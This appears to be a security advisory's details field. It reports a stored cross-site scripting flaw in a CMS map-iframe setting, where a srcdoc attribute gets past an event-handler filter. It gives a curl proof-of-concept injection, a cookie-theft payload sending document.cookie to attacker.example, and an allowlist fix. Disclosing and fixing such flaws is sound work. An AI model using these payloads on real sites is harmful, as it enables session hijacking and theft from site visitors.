  "details": "## Summary\n\nThe Google Maps iframe setting (`cMap` field) in `compInfosPost()` sanitizes input using `strip_tags()` with an `\u003ciframe\u003e` allowlist and regex-based removal of `on\\w+` event handlers. However, the `srcdoc` attribute is not an event handler and passes all filters. An attacker with admin settings access can inject an `\u003ciframe srcdoc=\"...\"\u003e` payload with HTML-entity-encoded JavaScript that executes in the context of the parent page when rendered to unauthenticated frontend visitors.\n\n## Details\n\n**Input sanitization** (`modules/Settings/Controllers/Settings.php:49-53`):\n\n```php\n$mapValue = trim(strip_tags($this-\u003erequest-\u003egetPost(\u0027cMap\u0027), \u0027\u003ciframe\u003e\u0027));\n$mapValue = preg_replace(\u0027/\\bon\\w+\\s*=\\s*\"[^\"]*\"/i\u0027, \u0027\u0027, $mapValue);\n$mapValue = preg_replace(\u0027/\\bon\\w+\\s*=\\s*\\\u0027[^\\\u0027]*\\\u0027/i\u0027, \u0027\u0027, $mapValue);\n$mapValue = preg_replace(\u0027/\\bon\\w+\\s*=\\s*[^\\s\u003e]+/i\u0027, \u0027\u0027, $mapValue);\nsetting()-\u003eset(\u0027Gmap.map_iframe\u0027, $mapValue);\n```\n\nThe three regex patterns only match attributes beginning with `on` (e.g., `onclick`, `onerror`). The `srcdoc` attribute does not begin with `on` and passes through untouched.\n\n**Output rendering** (`app/Views/templates/default/gmapiframe.php:3`):\n\n```php\n\u003c?php echo strip_tags($settings-\u003emap_iframe,\u0027\u003ciframe\u003e\u0027) ?\u003e\n```\n\nThe output applies `strip_tags` with the same `\u003ciframe\u003e` allowlist but performs no attribute filtering or HTML encoding. The stored payload is rendered verbatim.\n\n**Why HTML entities bypass `strip_tags`**: A payload like `\u003ciframe srcdoc=\"\u0026lt;script\u0026gt;alert(1)\u0026lt;/script\u0026gt;\"\u003e` contains only one tag (`\u003ciframe\u003e`), which is in the allowlist. The entity-encoded content (`\u0026lt;script\u0026gt;`) is not recognized as a tag by `strip_tags`. However, when the browser renders the `srcdoc` attribute, it decodes the HTML entities and creates a new browsing context containing `\u003cscript\u003ealert(1)\u003c/script\u003e`.\n\n**Why this is same-origin**: Per the HTML specification, an `\u003ciframe srcdoc=\"...\"\u003e` without a `sandbox` attribute inherits the parent document\u0027s origin. The injected script has full access to the parent page\u0027s cookies, DOM, and session.\n\n## PoC\n\n**Prerequisites**: Authenticated admin session with `update` role on the Settings module.\n\n**Step 1: Inject the payload**\n\n```bash\ncurl -X POST \u0027https://target/backend/settings/compInfos\u0027 \\\n  -H \u0027Cookie: ci_session=ADMIN_SESSION_ID\u0027 \\\n  -d \u0027cName=TestCo\u0026cAddress=123+Main+St\u0026cPhone=1234567890\u0026cMail=admin@example.com\u0026cMap=%3Ciframe+srcdoc%3D%22%26lt%3Bscript%26gt%3Balert(document.domain)%26lt%3B%2Fscript%26gt%3B%22%3E%3C%2Fiframe%3E\u0027\n```\n\nThe `cMap` value decodes to:\n```html\n\u003ciframe srcdoc=\"\u0026lt;script\u0026gt;alert(document.domain)\u0026lt;/script\u0026gt;\"\u003e\u003c/iframe\u003e\n```\n\n**Step 2: Visit any public page that includes the Google Maps widget**\n\nNavigate to the frontend contact or footer page as an unauthenticated visitor. The browser renders the `srcdoc` iframe, decodes the entities, and executes the script in the parent page\u0027s origin.\n\n**Expected result**: JavaScript `alert(document.domain)` fires showing the target\u0027s domain, confirming same-origin execution.\n\n**Cookie theft variant**:\n```\n\u003ciframe srcdoc=\"\u0026lt;script\u0026gt;document.location=\u0027https://attacker.example/steal?c=\u0027+document.cookie\u0026lt;/script\u0026gt;\"\u003e\u003c/iframe\u003e\n```\n\n## Impact\n\n- **Stored XSS affecting all frontend visitors**: The payload persists in the settings database and executes for every unauthenticated visitor viewing pages that include the Google Maps iframe widget.\n- **Session hijacking**: The script executes in the parent page\u0027s origin, giving access to session cookies (unless HttpOnly is set) and the full DOM.\n- **Credential theft**: An attacker can inject a fake login form or redirect users to a phishing page.\n- **Scope change**: The attack crosses from the admin backend trust boundary to the public frontend, affecting users who have no relationship with the backend.\n\nThe attack requires a compromised or malicious admin account with settings update permission. While this is a privileged starting point (PR:H), the impact crosses to all unauthenticated visitors (S:C), justifying Medium severity.\n\n## Recommended Fix\n\nReplace the regex-based attribute blocklist with a strict allowlist approach. Only allow `src`, `width`, `height`, `frameborder`, `style`, `allowfullscreen`, and `loading` attributes on iframe tags:\n\n```php\n// In modules/Settings/Controllers/Settings.php, replace lines 49-52:\n$mapValue = trim(strip_tags($this-\u003erequest-\u003egetPost(\u0027cMap\u0027), \u0027\u003ciframe\u003e\u0027));\n// Strip all attributes except safe ones for iframes\n$mapValue = preg_replace_callback(\n    \u0027/\u003ciframe\\s+([^\u003e]*)\u003e/i\u0027,\n    function ($matches) {\n        $allowedAttrs = [\u0027src\u0027, \u0027width\u0027, \u0027height\u0027, \u0027frameborder\u0027, \u0027style\u0027, \u0027allowfullscreen\u0027, \u0027loading\u0027, \u0027title\u0027];\n        preg_match_all(\u0027/(\\w+)\\s*=\\s*(?:\"([^\"]*)\"|\\\u0027([^\\\u0027]*)\\\u0027|(\\S+))/i\u0027, $matches[1], $attrs, PREG_SET_ORDER);\n        $safe = \u0027\u0027;\n        foreach ($attrs as $attr) {\n            $name = strtolower($attr[1]);\n            $value = $attr[2] ?: $attr[3] ?: $attr[4];\n            if (in_array($name, $allowedAttrs, true)) {\n                // For src, only allow https URLs (block javascript: etc.)\n                if ($name === \u0027src\u0027 \u0026\u0026 !preg_match(\u0027#^https://#i\u0027, $value)) {\n                    continue;\n                }\n                $safe .= \u0027 \u0027 . $name . \u0027=\"\u0027 . esc($value) . \u0027\"\u0027;\n            }\n        }\n        return \u0027\u003ciframe\u0027 . $safe . \u0027\u003e\u0027;\n    },\n    $mapValue\n);\n```\n\nThis allowlist approach ensures that dangerous attributes like `srcdoc`, `src` with `javascript:` protocol, and any future dangerous attributes are blocked by default.",
